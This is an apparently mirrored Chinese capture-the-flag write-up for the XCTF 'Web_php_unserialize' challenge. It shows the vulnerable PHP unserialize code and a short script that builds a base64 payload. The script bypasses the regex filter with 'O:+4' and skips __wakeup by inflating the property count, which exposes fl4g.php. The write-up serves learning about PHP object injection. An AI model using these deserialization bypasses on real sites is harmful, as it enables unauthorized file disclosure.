zoukankan      html  css  js  c++  java
  • Web_php_unserialize-攻防世界XCTF

    0x00 简介

    记录一下,重点是记录一下那篇正则文章。

    0x01 题目代码

    <?php 
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    if (isset($_GET['var'])) { 
        $var = base64_decode($_GET['var']); 
        if (preg_match('/[oc]:d+:/i', $var)) { 
            die('stop hacking!'); 
        } else {
            @unserialize($var); 
        } 
    } else { 
        highlight_file("index.php"); 
    } 
    ?>

    0x02 理解

    1.提示是秘密在fl4g.php

    $Demo = new Demo('fl4g.php');

    2.preg_match的绕过

    这里的正则,我理解为匹配o:数字(1位数字或多位)或者c:数字(1位数字或多位),不区分大小写,也就是匹配serialize()函数将一个对象转换为字符串后的首部。

    不清楚正则的可以去看看这片文章,写的是真的好。

    正则表达式

    3.魔术方法__wakeup的绕过

    这个魔术方法的绕过很简单,就是将serialize函数转换的字符串中的代表对象有几个变量的数字加1或加n就可以绕过了。

    0x03 代码

    <?php
        class Demo { 
            private $file = 'index.php';
            public function __construct($file) { 
                $this->file = $file; 
            }
            function __destruct() { 
                echo @highlight_file($this->file, true); 
            }
            function __wakeup() { 
                if ($this->file != 'index.php') { 
                    //the secret is in the fl4g.php
                    $this->file = 'index.php'; 
                } 
            } 
        }
        $Demo = new Demo('fl4g.php');
        $data = serialize($Demo);
    
        $data = str_replace('O:4', 'O:+4', $data);
        $data = str_replace(':1:', ':2:', $data);
    
        echo (base64_encode($data));
    ?>
  • 相关阅读:
    根据pandas和matplotlib制作简单的图表
    python-pandas 描述和汇总统计表
    linux json的使用
    zend studio10.5 + apache2.2 + php5.2.8 + xdebug2.3
    form表单中name和id区别
    浏览器中访问php页面没法正常显示
    zend studio
    ajax调试 No 'Access-Control-Allow-Origin' header is present on the requested resource
    火狐下input密码框自动填充值和php传数组给js的问题
    mysql 联合 count
  • 原文地址:https://www.cnblogs.com/-an-/p/12559033.html
Copyright © 2011-2022 走看看